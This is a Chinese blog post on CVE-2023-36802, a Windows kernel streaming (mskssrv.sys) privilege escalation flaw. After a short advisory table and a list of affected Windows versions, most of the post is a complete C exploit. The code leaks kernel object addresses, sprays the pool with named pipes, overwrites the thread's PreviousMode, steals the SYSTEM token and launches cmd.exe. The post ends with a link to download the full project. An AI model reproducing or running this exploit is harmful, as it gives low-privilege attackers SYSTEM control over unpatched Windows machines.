CVE-2023-36802 流式处理代理权限提升漏洞

Microsoft 流式处理代理权限提升漏洞(CVE-2023-36802):Windows 多媒体框架服务中的组件Microsoft Kernel Streaming Server (mskssrv.sys)中存在对象类型混淆漏洞,通过该漏洞,具有低权限的本地攻击者可以在越界内存上执行流对象操作,从而在内核中执行恶意代码,最终可以将权限提升至SYSTEM。 

一、漏洞详情
漏洞名称Microsoft 流式处理代理权限提升漏洞
漏洞编号QVD-2023-22085、CVE-2023-36802
组件mskssrv.sys影响对象数量级亿级
评级高危CVSS 3.1分数7.8
威胁类型权限提升利用可能性
POC状态已公开在野利用状态已发现
EXP状态已公开技术细节状态已公开
利用条件:需要本地、低权限。

 ​​​​​二、复现情况

 

三、影响范围 

Windows 10 Version 22H2 for 32-bit Systems

Windows 10 Version 22H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 11 Version 22H2 for x64-based Systems

Windows 11 Version 22H2 for ARM64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 version 21H2 for ARM64-based Systems

Windows 11 version 21H2 for x64-based Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

 代码样本

Types.h 

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <stdint.h>

#define IOCTL_IniContextRendezv 0x2F0400
#define IOCTL_PublishTx 0x2F0408
#define IOCTL_PublishRx 0x2F040C
#define FSCTL_CODE      0x119FF8

#define OFFSET_OF_EX_FAST_REF 0x4B8
#define OFFSET_OF_PREVIOUS_MODE 0x232
#define OFFSET_OF_FSCONTEXT2 0x20
#define SPRAY_SIZE 0x10000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// 0xC0 bytes
typedef struct _MY_IRP
{
    uint64_t Type;
    PVOID CurrentProcId;
    uint64_t Flags;
    HANDLE hEvent;
    uint64_t values[20];
} MY_IRP;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemHandleInformation = 16,
    SystemExtendedHandleInformation = 64,
    SystemBigPoolInformation = 66,
    SystemNonPagedPoolInformation = 15
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
     PVOID Object;
     ULONG_PTR UniqueProcessId;
     ULONG_PTR HandleValue;
     ULONG GrantedAccess;
     USHORT CreatorBackTraceIndex;
     USHORT ObjectTypeIndex;
     ULONG HandleAttributes;
     ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;
    };
    ULONG_PTR SizeInBytes;
    union {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;


typedef struct _SYSTEM_BIGPOOL_INFORMATION {
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;

typedef struct _PS_ATTRIBUTE
{
    ULONG  Attribute;
    SIZE_T Size;
    union
    {
        ULONG Value;
        PVOID ValuePtr;
    } u1;
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

#define InitializeObjectAttributes(p, n, a, r, s) { \
 (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
 (p)->RootDirectory = r; \
 (p)->Attributes = a; \
 (p)->ObjectName = n; \
 (p)->SecurityDescriptor = s; \
 (p)->SecurityQualityOfService = NULL; \
}

#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL, n, a, NULL, NULL }
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _CLIENT_ID
{
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T       TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

typedef NTSTATUS(NTAPI* NtWriteVirtualMemory_t)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG NumberOfBytesToWrite,
    PULONG NumberOfBytesWritten
);

typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG NumberOfBytesToRead,
    PULONG NumberOfBytesRead
);

typedef NTSTATUS(NTAPI* NtFsControlFile_t)(
    HANDLE           FileHandle,
    HANDLE           Event,
    PVOID            ApcRoutine,
    PVOID            ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG            FsControlCode,
    PVOID            InputBuffer,
    ULONG            InputBufferLength,
    PVOID            OutputBuffer,
    ULONG            OutputBufferLength
);

typedef NTSTATUS(NTAPI* NtDeviceIoControlFile_t)(
    HANDLE           FileHandle,
    HANDLE           Event,
    PVOID            ApcRoutine,
    PVOID            ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG            IoControlCode,
    PVOID            InputBuffer,
    ULONG            InputBufferLength,
    PVOID            OutputBuffer,
    ULONG            OutputBufferLength
);

typedef NTSTATUS(NTAPI* NtOpenProcess_t)(
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

typedef NTSTATUS(NTAPI* NtOpenThread_t)(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

exploit.c

#include "Types.h"
#pragma comment(lib, "ntdll.lib")

NtQuerySystemInformation_t NtQuerySystemInformation;
NtFsControlFile_t NtFsControlFile;
NtWriteVirtualMemory_t NtWriteVirtualMemory;
NtReadVirtualMemory_t NtReadVirtualMemory;
NtDeviceIoControlFile_t NtDeviceIoControlFile;
NtOpenProcess_t NtOpenProcess;
NtOpenThread_t NtOpenThread;

HANDLE hDevice;

PHANDLE hPipeArray[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hFileArray[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hPipeArray2[sizeof(HANDLE) * SPRAY_SIZE];
PHANDLE hFileArray2[sizeof(HANDLE) * SPRAY_SIZE];

#define READ_VM(addr) NtReadVirtualMemory(hProc, (LPVOID)((ULONG_PTR)(addr)), readbuffer, sizeof(ULONG_PTR), &NumberOfBytesRead);
#define WRITE_VM(addr, value) NtWriteVirtualMemory(hProc, (LPVOID)((ULONG_PTR)(addr)), value, sizeof(ULONG_PTR), &NumberOfBytesRead);

void PublishTx()
{
	IO_STATUS_BLOCK ioStatus;
	ULONG bytesReturned = 0;

	MY_IRP inbuff = { 0 };

	inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
	inbuff.Type = 1;
	inbuff.Flags = 0x000000136FE7474D;
	inbuff.values[0] = 0x0000000100000001;

	NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_PublishRx, &inbuff, 0x100, NULL, bytesReturned);
}

void FSInitializeContextRendezvous()
{
	IO_STATUS_BLOCK ioStatus;
	ULONG bytesReturned = 0;

	MY_IRP inbuff = { 0 };

	inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
	inbuff.Type = 1;
	inbuff.Flags = 0x000000136FE7474D;

	NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_IniContextRendezv, &inbuff, 0x100, NULL, bytesReturned);
}

PVOID LeakObjectAddress(DWORD pid, HANDLE Object)
{
	NTSTATUS status;
	ULONG ulBytes = 0;
	PSYSTEM_HANDLE_INFORMATION_EX handleTableInfo = NULL;
	PVOID objectAddress = NULL;
	
	// Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
	while ((status = NtQuerySystemInformation(SystemExtendedHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
	{
		if (handleTableInfo != NULL)
		{
			handleTableInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
		}

		else
		{
			handleTableInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
		}
	}

	if (status == 0)
	{
		// iterate over the system's handle table and look for the handles beloging to our process
		for (ULONG_PTR i = 0; i < handleTableInfo->HandleCount; i++)
		{
			// if it finds our process and the handle matches the current token handle we already opened, print it
			if (handleTableInfo->Handles[i].UniqueProcessId == pid && handleTableInfo->Handles[i].HandleValue == Object)
			{
				objectAddress = handleTableInfo->Handles[i].Object;
				break;
			}
		}
	}
	else
	{
		if (handleTableInfo != NULL)
		{
			wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
			HeapFree(GetProcessHeap(), 0, handleTableInfo);
		}
	}

	HeapFree(GetProcessHeap(), 0, handleTableInfo);
	return objectAddress;
}

BOOL PipeSpray(PVOID payload, DWORD size) {

	IO_STATUS_BLOCK isb;
	OVERLAPPED overlap;

	for (int i = 0; i < SPRAY_SIZE; i++) {
		hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\exploitpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);

		if (hPipeArray[i] == INVALID_HANDLE_VALUE) {
			wprintf(L"[!] Error while creating the named pipe: %d\n", GetLastError());
			return FALSE;
		}

		memset(&overlap, 0, sizeof(overlap));
		overlap.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
		if (!overlap.hEvent) {
			wprintf(L"[!] Error creating event: %d\n", GetLastError());
			return FALSE;
		}

		hFileArray[i] = CreateFileW(L"\\\\.\\pipe\\exploitpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

		if (hFileArray[i] == INVALID_HANDLE_VALUE) {
			wprintf(L"[!] Error while opening the named pipe: %d\n", GetLastError());
			return FALSE;
		}

		NTSTATUS status = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);

		if (status == STATUS_PENDING) {
			DWORD bytesTransferred;
			if (!GetOverlappedResult(hFileArray[i], &overlap, &bytesTransferred, TRUE)) {
				wprintf(L"[!] Overlapped operation failed: %d\n", GetLastError());
				return FALSE;
			}
		}
		else if (status != 0) {
			wprintf(L"[!] Error while calling NtFsControlFile: %p\n", status);
			return FALSE;
		}

		CloseHandle(overlap.hEvent);
	}

	return TRUE;
}

BOOL FillTheHoles(PVOID payload, DWORD size) {

	IO_STATUS_BLOCK isb;
	OVERLAPPED overlap;

	for (int i = 0; i < SPRAY_SIZE; i++) {
		hPipeArray2[i] = CreateNamedPipeW(L"\\\\.\\pipe\\exploitpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);

		if (hPipeArray2[i] == INVALID_HANDLE_VALUE) {
			wprintf(L"[!] Error while creating the named pipe: %d\n", GetLastError());
			return FALSE;
		}

		memset(&overlap, 0, sizeof(overlap));
		overlap.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
		if (!overlap.hEvent) {
			wprintf(L"[!] Error creating event: %d\n", GetLastError());
			return FALSE;
		}

		hFileArray2[i] = CreateFileW(L"\\\\.\\pipe\\exploitpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

		if (hFileArray2[i] == INVALID_HANDLE_VALUE) {
			wprintf(L"[!] Error while opening the named pipe: %d\n", GetLastError());
			return FALSE;
		}

		NTSTATUS status = NtFsControlFile(hPipeArray2[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);

		if (status == STATUS_PENDING) {
			DWORD bytesTransferred;
			if (!GetOverlappedResult(hFileArray2[i], &overlap, &bytesTransferred, TRUE)) {
				wprintf(L"[!] Overlapped operation failed: %d\n", GetLastError());
				return FALSE;
			}
		}
		else if (status != 0) {
			wprintf(L"[!] Error while calling NtFsControlFile: %p\n", status);
			return FALSE;
		}

		CloseHandle(overlap.hEvent);
	}

	return TRUE;
}

void CreateHoles() {
	for (int i = 0; i < SPRAY_SIZE; i += 4)
	{
		CloseHandle(hPipeArray[i]);
		CloseHandle(hFileArray[i]);
	}
}

BOOL NtResolver()
{
	LPCWSTR ntdll = L"ntdll.dll";

	NtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(GetModuleHandleW(ntdll), "NtDeviceIoControlFile");

	if (!NtDeviceIoControlFile)
	{
		wprintf(L"[!] Error while resolving NtDeviceIoControlFile: %d\n", GetLastError());
		return FALSE;
	}

	NtOpenThread = (NtOpenThread_t)GetProcAddress(GetModuleHandleW(ntdll), "NtOpenThread");

	if (!NtOpenThread)
	{
		wprintf(L"[!] Error while resolving NtOpenThread: %d\n", GetLastError());
		return FALSE;
	}

	NtOpenProcess = (NtOpenProcess_t)GetProcAddress(GetModuleHandleW(ntdll), "NtOpenProcess");

	if (!NtOpenProcess)
	{
		wprintf(L"[!] Error while resolving NtOpenProcess: %d\n", GetLastError());
		return FALSE;
	}

	NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleW(ntdll), "NtQuerySystemInformation");

	if (!NtQuerySystemInformation)
	{
		wprintf(L"[!] Error while resolving NtQuerySystemInformation: %d\n", GetLastError());
		return FALSE;
	}

	NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandleW(ntdll), "NtWriteVirtualMemory");

	if (!NtWriteVirtualMemory)
	{
		wprintf(L"[!] Error while resolving NtWriteVirtualMemory: %d\n", GetLastError());
		return FALSE;
	}

	NtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(GetModuleHandleW(ntdll), "NtReadVirtualMemory");

	if (!NtReadVirtualMemory)
	{
		wprintf(L"[!] Error while resolving NtReadVirtualMemory: %d\n", GetLastError());
		return FALSE;
	}

	NtFsControlFile = (NtFsControlFile_t)GetProcAddress(GetModuleHandleW(ntdll), "NtFsControlFile");

	if (!NtFsControlFile)
	{
		wprintf(L"[!] Error while resolving NtFsControlFile: %d\n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

int main()
{
	PVOID OUR_EPROCESS, EPROCESS_SYS, ETHREAD, FILE_OBJECT; OUR_EPROCESS = EPROCESS_SYS = ETHREAD = FILE_OBJECT = NULL;
	ULONG64 PreviousMode;
	ULONG_PTR OurtokenAddress, SystokenAddress, fscontext2;
	HRESULT hr;
	HANDLE hProc;

	hDevice = CreateFileA("\\\\?\\root#system#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96e080c7-143c-11d1-b40f-00a0c9223196}&{3c0d501a-140b-11d1-b40f-00a0c9223196}", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, 0, NULL);

	if (!hDevice)
	{
		return 1;
	}

	if (!NtResolver())
	{
		return 1;
	}

	wprintf(L"[+] Successfully opened mskssrv device handle => %p\n", hDevice);

	CLIENT_ID clientId = { (HANDLE)GetCurrentProcessId(), NULL };
	OBJECT_ATTRIBUTES objAttr;
	InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);

	NTSTATUS status = NtOpenProcess(&hProc, PROCESS_QUERY_LIMITED_INFORMATION, &objAttr, &clientId);

	if (status != 0)
	{
		wprintf(L"[!] Error NtOpenProcess failed: %ld\n", status);
		return 1;
	}

	HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
	if (!hThread)
	{
		wprintf(L"[!] Error while getting the thread ID: %ld\n", status);
		return 1;
	}

	OUR_EPROCESS = LeakObjectAddress(GetCurrentProcessId(), hProc);
	EPROCESS_SYS = LeakObjectAddress(4, (HANDLE)4);
	FILE_OBJECT = LeakObjectAddress(GetCurrentProcessId(), hDevice);
	ETHREAD = LeakObjectAddress(GetCurrentProcessId(), hThread);

	if (!OUR_EPROCESS && !EPROCESS_SYS && !FILE_OBJECT && !ETHREAD)
	{
		wprintf(L"[!] Error when attempted to leak kernel addresses\n");
		return 1;
	}

	OurtokenAddress = (ULONG_PTR)OUR_EPROCESS + OFFSET_OF_EX_FAST_REF;
	SystokenAddress = (ULONG_PTR)EPROCESS_SYS + OFFSET_OF_EX_FAST_REF;
	PreviousMode = (ULONG64)ETHREAD + OFFSET_OF_PREVIOUS_MODE;
	fscontext2 = (ULONG_PTR)FILE_OBJECT + OFFSET_OF_FSCONTEXT2;
	wprintf(L"[+] Our process EPROCESS => %p\n", OUR_EPROCESS);
	wprintf(L"[+] Our process _EX_FAST_REF Token address => %p\n", OurtokenAddress);
	wprintf(L"[+] System process EPROCESS => %p\n", EPROCESS_SYS);
	wprintf(L"[+] System process _EX_FAST_REF Token address => %p\n", SystokenAddress);
	wprintf(L"[+] Device handle => %p\n", FILE_OBJECT);
	wprintf(L"[+] Main ETHREAD => %p\n", ETHREAD);
	wprintf(L"[+] PreviousMode => %p\n", PreviousMode);

	ULONG64 prevmode = PreviousMode + 0x30; // Add 0x30 because of ObfDereferenceObject+0x1f

	/*
	nt!ObfDereferenceObject:
	fffff800`152381c0 mov	  qword ptr [rsp+8], rbx
	fffff800`152381c5 mov     qword ptr [rsp+10h],rsi
	fffff800`152381ca push    rdi
	fffff800`152381cb sub     rsp,30h
	fffff800`152381cf cmp     dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
	fffff800`152381d6 mov     rsi,rcx
	fffff800`152381d9 jne     nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
	fffff800`152381df or      rbx,0FFFFFFFFFFFFFFFFh
	fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
	*/

	LPVOID buffer = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!buffer)
	{
		wprintf(L"[!] Error while allocating memory for the user buffer: %d\n", GetLastError());
		return 1;
	}

	ZeroMemory(buffer, 4096);

	*(ULONG_PTR*)((ULONG_PTR)buffer + 0 * sizeof(ULONG_PTR)) = buffer; // Linked list pointer
	*(ULONG_PTR*)((ULONG_PTR)buffer + 11 * sizeof(ULONG_PTR)) = buffer;
	*(ULONG_PTR*)((ULONG_PTR)buffer + 26 * sizeof(ULONG_PTR)) = 1; // Bypass rbx check in FSStreamReg::PublishRx

	PVOID payload = malloc(128);

	// Place previous mode address+0x30 at offset 0x18
	memcpy((PVOID*)((ULONG_PTR)payload + 24), &prevmode, sizeof(ULONG_PTR)); // Offset 0x1c8 of object

	// Reference user-mode buf as linked list
	memcpy((PVOID*)((ULONG_PTR)payload + 32), &buffer, sizeof(ULONG_PTR)); // Offset 0x140 of object
	memcpy((PVOID*)((ULONG_PTR)payload + 104), &buffer, sizeof(ULONG_PTR)); // Offset 0x188 of object
	memcpy((PVOID*)((ULONG_PTR)payload + 120), &buffer, sizeof(ULONG_PTR)); // Offset 0x198 of object

	// Spray the pool with named pipes
	wprintf(L"[+] Spraying the pool with objects of size 0x80\n");
	if (!PipeSpray(payload, 128)) {
		wprintf(L"[!] PipeSpray failed.\n");
		return 1; // Exit or handle the error accordingly
	}

	// Create holes
	wprintf(L"[+] Closing some pipes to create holes in the pool spray\n");
	CreateHoles();
	wprintf(L"[+] Made some holes!\n");

	// Allocate context registration object
	wprintf(L"[+] Allocating context registration object\n");

	FSInitializeContextRendezvous();

	// Fill the holes in the pool with our payload
	wprintf(L"[+] Spraying the pool with objects of size 0x80\n");
	if (!FillTheHoles(payload, 128)) {
		wprintf(L"[!] PipeSpray failed.\n");
		return 1; // Exit or handle the error accordingly
	}

	// Start separate thread for PublishTx call
	wprintf(L"[+] Executing PublishTx in a separate thread\n");
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PublishTx, NULL, 0, NULL);

	Sleep(2000);

	wprintf(L"[+] Overwrite Previous Mode Completed\n");

	LPVOID readbuffer = malloc(sizeof(ULONG_PTR));
	ULONG NumberOfBytesRead = 0;
	memset(readbuffer, 0, sizeof(ULONG_PTR));

	wprintf(L"[+] Trying to overwrite our token with system token\n");
	READ_VM(SystokenAddress)
	WRITE_VM(OurtokenAddress, readbuffer)
	wprintf(L"[+] Overwrite was successful!\n");

	wprintf(L"[+] Trying to get FsContextReg object address\n");
	READ_VM(fscontext2)
	ULONG_PTR pCreg = *(PULONG_PTR)readbuffer;
	wprintf(L"[+] FsContextReg object address => 0x%p\n", pCreg);

	LONG_PTR procbilled = pCreg + 0x1a8;
	READ_VM(procbilled)
	ULONG_PTR ProcessBilledValue = *(PULONG_PTR)readbuffer;
	wprintf(L"[+] ProcessBilled value = %llu\n", ProcessBilledValue);

	ULONG_PTR zero_out = 0;
	WRITE_VM(procbilled, &zero_out)
	wprintf(L"[+] ProcessBilled set to zero\n");

	Sleep(1000);
	*(ULONG_PTR*)((ULONG_PTR)buffer + 0 * sizeof(ULONG_PTR)) = 0;
	Sleep(2000);

	wprintf(L"[+] Restoring ProcessBilled value...\n");
	WRITE_VM(procbilled, &ProcessBilledValue)
	wprintf(L"[+] Done\n");

	Sleep(2000);
	wprintf(L"[+] Incrementing ref count of EPROCESS OBJECT_HEADER...\n");
	ULONG_PTR object_header = (ULONG_PTR)OUR_EPROCESS - 0x30;
	wprintf(L"[+] Current EPROCESS's OBJECT_HEADER address => 0x%p\n", object_header);

	READ_VM(object_header)
	ULONG_PTR PointerCount = *(PULONG_PTR)readbuffer;
	wprintf(L"[+] Current Ref Count => 0x%p\n", PointerCount);
	PointerCount++;
	WRITE_VM(object_header, &PointerCount)
	wprintf(L"[+] Done\n");

	Sleep(2000);
	wprintf(L"[+] Restoring PreviousMode...\n");
	READ_VM(PreviousMode)
	ULONG_PTR restore_prevmode = *(PULONG_PTR)readbuffer ^ 1;
	WRITE_VM(PreviousMode, &restore_prevmode)

	wprintf(L"[+] PreviousMode set to 1 successfully!\n");

	Sleep(500);

	system("start cmd.exe");

	Sleep(500);

	system("start https://www.chwm.vip/?CVE-2023-36802");

	for (int i = 0; i < SPRAY_SIZE; i++)
	{
		CloseHandle(hPipeArray[i]);
		CloseHandle(hFileArray[i]);

		CloseHandle(hPipeArray2[i]);
		CloseHandle(hFileArray2[i]);
	}

	CloseHandle(hDevice);
	CloseHandle(hProc);
	CloseHandle(hThread);

	Sleep(1000);

	return 0;
}

 完整项目下载

Rainbow 漏洞库 【访问密码:b8ox】icon-default.png?t=N7T8https://wwrd.lanzoum.com/b04eghy4f

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rainbow Technology

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值